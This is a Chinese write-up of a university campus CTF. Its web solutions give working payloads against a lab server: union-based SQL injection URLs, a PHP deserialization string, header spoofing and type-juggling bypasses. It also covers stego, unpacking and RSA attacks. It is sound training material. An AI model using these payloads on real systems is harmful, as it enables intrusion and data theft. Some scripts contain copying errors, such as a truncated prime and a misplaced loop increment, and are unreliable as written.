【CTF】福建师范大学网络安全校赛-writeup

  • 内容
  • 相关

web signup

web签到题,输入token直接出来flag。

image

 

OVO

image

一看就是修改HTTP响应头,添加XFF头:X-Forwarded-For:10.128.11.66

image

image

放包之后,发现还需要一个叫OVO的浏览器,所以同时修改一下User-Agent:OVO

image

NISA{The_OVO_brows3r_txdy_2e84d3c94c3b1e706fb5f352640769a130842b52902c57df67722f69a74a05f0}

 

404

waterovo想找一个网站里的机器人朋友一起玩,但是打开的页面却是404

打开来是一个机器人图片

image

查看源码并没有看出什么,突然想起来机器人,,我猜会不会是robots.txt,结果一看还真是

image

访问/28dsa2d374acsd/

image

还是需要登陆,burp一顿操作也没看出什么,这题卡了很久,终于想起来会不会是有一个后台,目录爆破一波

image

访问login.php,得到flag

image

 

EasyMD5

image

简单来说就是PHP弱类型,GET提交?a[]=1&b[]=2

image

Post提交param1[]=111&param2[]=222

image

 

NISA新闻中心

查库:http://10.128.11.66:31004/?id=6%20union%20select%201,2,schema_name%20from%20information_schema.schemata%20limit%203,1

image

查表:http://10.128.11.66:31004/?id=6%20union%20select%201,2,table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1

image

查字段:http://10.128.11.66:31004/?id=6%20union%20select%201,2,column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27flag%27%20limit%201,1

image

查字段内容:http://10.128.11.66:31004/?id=6%20union%20select%201,2,group_concat(content)%20from%20flag

image

 

Babypop

PHP反序列化

caller->ext  为 NISA 对象 调用call魔术方法 逃逸wakeup

call魔术方法接收到 caller->x的内容

Caller 下会 echo 一个对象,调用 NISA 的 __tostring 魔术方法,

__tostring魔术方法 call_user_func 会调用接收到的 caller->x

 

// $caller = new Caller();
// $caller -> ext = new NISA();
// $caller -> x = 'show_me_flag';
// echo serialize($caller);

最终pyload:?ser=O:6:"Caller":2:{s:3:"ext";O:4:"NISA":1:{s:3:"fun";N;}s:1:"x";s:12:"show_me_flag";}

image

Lucky Game

攻防世界原题。注册一个账号,大概浏览一下网页全部内容,有一个页面可以买flag。就是要抽奖攒钱,足够的钱买flag。

到抽奖页面,Burp抓包分析。抽奖过程和api.php有关,将传入的数字和随机的数字进行比较,最后对比两者相等的个数来增加相应的钱。这里没有对输入的数据进行任何的过滤,而且对比相等处用的" == “来比较,所以可以用传入” true "来绕过判断。

用burp抓api.php,发现传入的是json数据,改传入内容:{"action":"buy","numbers": [true,true,true,true,true,true,true]}

image

多执行几次,凑够钱就可以买flag

image

Lucky Game2

这个和上面一个题一样的源码,但是改了一个新漏洞。爆破目录发现有www.zip备份文件,然后代码审计。审计发现是PHP伪随机数的爆破考点。

headers.php文件mt_srand是随机值

image

出奖结果为gen_win_nums方法

image

mt_srand结构为    随机值+抽奖次数

image

使用php_mt_seed依次爆破结果值

image

编写脚本得出当前种子

import re
res1 = open('test1.txt', 'r')
res1 = re.findall('(\d+?) \(', res1.read())
res2 = open('test2.txt', 'r')
res2 = re.findall('(\d+?) \(', res2.read())
 
for i in res1:
    for k in res2:
        if int(i) + 1 == int(k):
            print(k)

image

使用php计算下一次抽奖值

image

再次计算下一次值

image

购买完毕后去买flag

结果:

image

image

image

image

Flag:NISA{Pseud0_r@anD_Num_1s_1nTeresT1ng_34541c44dfbcdc82fcb3ec56b2415ea7508620a9953ae0e3c66c891eee1f2786}

easyCoding

题目是0x4e4953417b6865785f656e636f64696e675f69735f656173797d

这个0x代表十六进制,直接十六进制转字符串就好了。

image

NISA{hex_encoding_is_easy}

 

VoiceBase

题目:

5Y+L5ZaE54ix5Zu95bmz562J5pWs5Lia6K+a5L+h5a+M5by65pWs5Lia5Y+L5ZaE54ix5Zu95Y+L5ZaE54ix5Zu95pWs5Lia6K+a5L+h5a+M5by66K+a5L+h5paH5piO54ix5Zu96K+a5L+h5bmz562J5Y+L5ZaE54ix5Zu95bmz562J6K+a5L+h5a+M5by65bmz562J6K+a5L+h5a+M5by66K+a5L+h5ZKM6LCQ5Y+L5ZaE54ix5Zu95pWs5Lia5Y+L5ZaE5bmz562J6K+a5L+h5rCR5Li75Y+L5ZaE5bmz562J5Y+L5ZaE5YWs5q2j6K+a5L+h6Ieq55Sx5rOV5rK75pWs5Lia5pWs5Lia5pWs5Lia6K+a5L+h6Ieq55Sx6K+a5L+h6Ieq55Sx5YWs5q2j6K+a5L+h5rCR5Li76K+a5L+h5rCR5Li754ix5Zu95YWs5q2j5Y+L5ZaE54ix5Zu95Y+L5ZaE5pWs5Lia6K+a5L+h5rCR5Li75Y+L5ZaE5YWs5q2j54ix5Zu96K+a5L+h5paH5piO6K+a5L+h6Ieq55Sx5rOV5rK75pWs5Lia6K+a5L+h5rCR5Li76K+a5L+h5rCR5Li76Ieq55Sx5Y+L5ZaE54ix5Zu95bmz562J5pWs5Lia5YWs5q2j54ix5Zu954ix5Zu96K+a5L+h6Ieq55Sx5bmz562J54ix5Zu95ZKM6LCQ6K+a5L+h5a+M5by65Y+L5ZaE5YWs5q2j6K+a5L+h6Ieq55Sx5pWs5Lia5Y+L5ZaE5bmz562J5ZKM6LCQ5pWs5Lia5ZKM6LCQ6K+a5L+h6Ieq55Sx54ix5Zu96K+a5L+h5rCR5Li75rCR5Li75pWs5Lia5Y+L5ZaE5rOV5rK7

根据题目提示,是base,直接上base64解码

image

解出来是社会主义核心价值观,直接核心价值观解码

image

解出来有点像生僻字,卡了我好久,但是这玩意。。。直接语音朗读发现,,这就是flag。不得不说有点牛逼。。

image

 

 

easycoding2

题目:TklTQXtvdGhlcl9jb2RpbmdfbWV0aG9kfQ==

 

这玩意一看就是unicode编码,解码得:TklTQXtvdGhlcl9jb2RpbmdfbWV0aG9kfQ==,然后看到两个等号,直接base64编码

image

 

NISA{other_coding_method}

 

 

Refresh

附件是一个jpg文件,看名字是刷新的意思,直接F5刷新隐写术,去github下载一个F5脚本,然后使用命令:java Extract Refresh.jpg

image

输出:image

发现有个flag.txt,前缀有个PK,可能是一个压缩包,把输出的txt重命名为zip,然后360解压,找到flag

image

flag{96efd0a2037d06f34199e921079778ee}

Matrix

遇事不决,binwalk学一学。

image

Binwalk神器来一波,发现有个偏移量,是一个zip压缩包格式,用010 deitor发现存在疑似压缩包格式的十六进制,搜索50 4B

image

发现存在50 4b 01 02(目录中文件文件头标记)以及50 4B 05 06(目录结束标记 )的zip文件尾,翻到最前面发现缺一个文件头50 4b 03 04,补上文件头,文件重命名为.zip格式。然后右键解压,发现需要密码,直接爆破

image

image

打开又是一个无格式的文件,010 editor检查一遍

image

发现文件头是一个png格式,重命名.png,然后获得flag。

image

 

weak password

打开发现注释里面是摩尔斯密码,解密一下得到小写的kkyyxx

image

image

打开flag.zip发现还是加密的,爆破密码:123456,得到flag.png

image

得到flag.png后发现这不是正确的flag。

使用cloacked-pixel隐写工具,密码123456得到flag

python lsb.py extract flag.png out.txt 123456

image

 

 

Easypy

Pyc反编译一波

image

只是一个异或运行一次就还原了

str = 'QVL^d[/@J@tq/h@of|b'
flag = ''
for i in str:
        flag = flag + chr(ord(i) ^ 31)
print flag

image

 

大魔王

有一天,waterovo突然化身大魔王,拿起一个栅栏把flag劈成两半。

image

使用IDA打开,shift+F12打开字符串窗口可以看到

根据题目栅栏与flag格式NISA,可以猜到上面一个和下面一个

得到flag:NISA{w4t3rovo_ls_@_blg_devil}

 

 

Signup

打开附件,是一个图片,扫码获得flag:NISA{Welcome_To_NISACTF_2020}

 

crackme-base

题目可知,base家族。

4B4A4C4534564B32474E5A545157544B4F4E3446493252564D464857593442594D4E425736344356474A45544F5A4B544B5A565555524C50473546554B534A35

先base16

image

然后base32

image

然后base64

image

然后稀有的base91

image

然后稀有的base58

image

NISA{Base_Is_Fun}

 

 

师大坐标

image

 

 

按照图片坐标:

笃行楼(1,5):共
餐厅(2,1):青
美术学院(3,2):团
田径场(4,4):广
东门(5,6):场

得flag:NISA{共青团广场}

师大坐标2

时间点14年7月,百度搜一搜地图

image

NISA{师大青年有力量_青春给力中国队}

 

Where Is The Association

听说蓝鲨有几只喵想要来协会办公室逛一逛 

解:蓝鲨公众号第一篇数6只猫;今年国家网络安全宣传周是9月,网安协会官方QQ查9月16日说说,上面十月是网安协会办公地点施学共楼301室

 

Do you know Blueshark 

关注蓝鲨公众号,后台留言NISA,得flag:NISA{Protect_The_World_With_BluesharkInfo}

 

 

 

 

鸡蛋里的凯撒

凯撒被困在了鸡蛋里,你能想办法把他解救出来吗?

困在了鸡蛋里,说明我们需要把壳敲开,于是 查壳

image

是一个upx的壳,下载一个UPX脱壳工具:https://github.com/upx/upx/releases/tag/v3.96

image

脱壳之后,拖进IDA,F5查看伪代码,得到类似flag的的字符串

image

最后凯撒一下

image

NISA{Caeser_LovEs_the_EGg}

 

 

EasySRA

image

n = 7892315057054830130072960592604654516044943807280357469758029419948986079966658560000000000000000001
e = 0x10001
c= = 7481317050488705854290386196145058011988305026459527012964644066840855631752106191906158388201156624
flag = "NISA{*******}"

 

已知N,E,C,先使用大素数分解N(http://www.factordb.com/),得到P和Q

P=32606882154301062017521444631284289212385047267
Q=242044456127608689911827928914874588888936415760294603

得到P和Q之后求D,上脚本

# coding = utf-8
def computeD(fn, e):
    (x, y, r) = extendedGCD(fn, e)
    #y maybe < 0, so convert it
    if y < 0:
        return fn + y
    return y
 
def extendedGCD(a, b):
    #a*xi + b*yi = ri
    if b == 0:
        return (1, 0, a)
    #a*x1 + b*y1 = a
    x1 = 1
    y1 = 0
    #a*x2 + b*y2 = b
    x2 = 0
    y2 = 1
    while b != 0:
        q = a / b
        #ri = r(i-2) % r(i-1)
        r = a % b
        a = b
        b = r
        #xi = x(i-2) - q*x(i-1)
        x = x1 - q*x2
        x1 = x2
        x2 = x
        #yi = y(i-2) - q*y(i-1)
        y = y1 - q*y2
        y1 = y2
        y2 = y
    return(x1, y1, a)
 
p =32606882154301062017521444631284289212385047267
q = 24204445612760868991182792891487458888893641576029460
e = 65537
 
n = p * q
fn = (p - 1) * (q - 1)
 
d = computeD(fn, e)
print d

image

解出D:4043521410359492062155115397682019083651083787920189129252595553008085507050188504407641532016477045

image

 

babyRSA

n = 104722166470853495908198615956153021521030893644561624469764063348509585720214457313239398556972845462581735899163426803814018131644569380608609408315830865585902616318522107211601623238686031776945942683459172694965131714780143200037910430807640901212198824316463156579388741614688493379171260307829850153003
e = 0x3
c = 1497812081826887902014041679103032650038882489866342736582195320170031661425113087871221564278292113555469674595607954118129727240813676673213584877669

小明文攻击,明文过小,导致明文的e次方仍然小于n,这种情况直接对密文e次开方,即可得到明文。脚本如下:

 

import binascii
import gmpy2
 
n=104722166470853495908198615956153021521030893644561624469764063348509585720214457313239398556972845462581735899163426803814018131644569380608609408315830865585902616318522107211601623238686031776945942683459172694965131714780143200037910430807640901212198824316463156579388741614688493379171260307829850153003
e=0x3
c=1497812081826887902014041679103032650038882489866342736582195320170031661425113087871221564278292113555469674595607954118129727240813676673213584877669
 
i = 0
while 1:
    res = gmpy2.iroot(c+i*n,3)
    if(res[1] == True):
        m=res[0]
        print(binascii.unhexlify(hex(m)[2:].strip("L")))
        break
    print("i="+str(i))
i = i+1

image

 

Medium2Rsa

四素数分解,脚本如下:

# -*- coding: utf-8 -*-
 
 
from Crypto.Util.number 
import GCD, inverse, long_to_bytes
import gmpy2
n = 8612681462010580137300973908240869281987785191627714566121541350271655218536368776550992805023175191855844710401239162549280612950842208405696391150166976564669285969268525422410729406011984385397481964679623965945344204397425885165639805277143302839282190266616500530249869695975990753442144491102970663946917234628703857943526463824507469613931268052315294289398662484545893847685147214186658792940336211178874328499933674361495487294093963535891303983339042661484997178315925907665950884939797357688165718474294950974243937390093743707468162756540266037116285680729709441522135043922595631713764401727527219721131
c = 1369006858662147458708778738752800459861317760797663755605588705943215156959207432398011320449434290008518795394385156448104595892041283732556174921611061915496300225936601722921381578747339763931780971217560659651491272136356502452282340677574897745008417041990387155135022253231234204458167435377541560271096934345273509077331272022383986162019067438790315184847776054116345133346943287033942352447797709609610101394823496783785184422510369664480065339284290379412814428843732701102288244406062383206359381467081653499746476991187901967165542024372771376826349675562754345284456233845269680113185674904238214984561
e = 0x10001
def fermat_factorization(N):
    Factor = []
    gmpy2.get_context().precision = 2048
    a = int(gmpy2.sqrt(N))
    a2 = a * a
    b2 = gmpy2.sub(a2, N)
    while True:
        a += 1
        b2 = a * a - N
        if gmpy2.is_square(b2):
            b2 = gmpy2.mpz(b2)
            gmpy2.get_context().precision = 2048
            b = int(gmpy2.sqrt(b2))
            Factor.append([a + b, a - b])
        if len(Factor) == 2:
            break
    return Factor
 
 
if __name__ == "__main__":
    factor = fermat_factorization(n)
    [X1, Y1] = factor[0]
    [X2, Y2] = factor[1]
    assert X1 * Y1 == n
    assert X2 * Y2 == n
    p1 = gmpy2.mpz(GCD(X1, X2))
    p2 = gmpy2.mpz(X1 / p1)
    q1 = gmpy2.mpz(GCD(Y1, Y2))
    q2 = gmpy2.mpz(Y1 / q1)
    assert p1 * p2 * q1 * q2 == n
    phi = gmpy2.mpz(0)
    phi = (p1 - 1) * (q1 - 1) * (p2 - 1) * (q2 - 1)
    d = inverse(e, phi)
    flag = long_to_bytes(pow(c, d, n))
    print(flag)

image

 

宝可梦

gdb文件,先下个Visual Boy Advance

按照剧情走到103号道路,是在丰缘地区,发现flag

image

NISA{PokEmon_14_CutE}

 

 

Game

image

image

 

Qrcode

开局一个压缩包,爆破发现不是一个有效的加密文件,判断是伪加密。

image

保存后打开发现一张二维码,但是二维码扫出来是假flag。

先binwalk图片一波

image

发现4个压缩包Binwalk -e分离

把四个压缩包一一解开,真正的flag是在flag.doc文件,多次执行base64解开

Flag:NISA{ comEON_YOuAreSOSoS0great}

 

 

 

 

本文标签:

版权声明:若无特殊注明,本文皆为《G4br1el》原创,转载请保留文章出处。

本文链接:【CTF】福建师范大学网络安全校赛-writeup - https://www.itznxh.com/post-32.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注

未显示?请点击刷新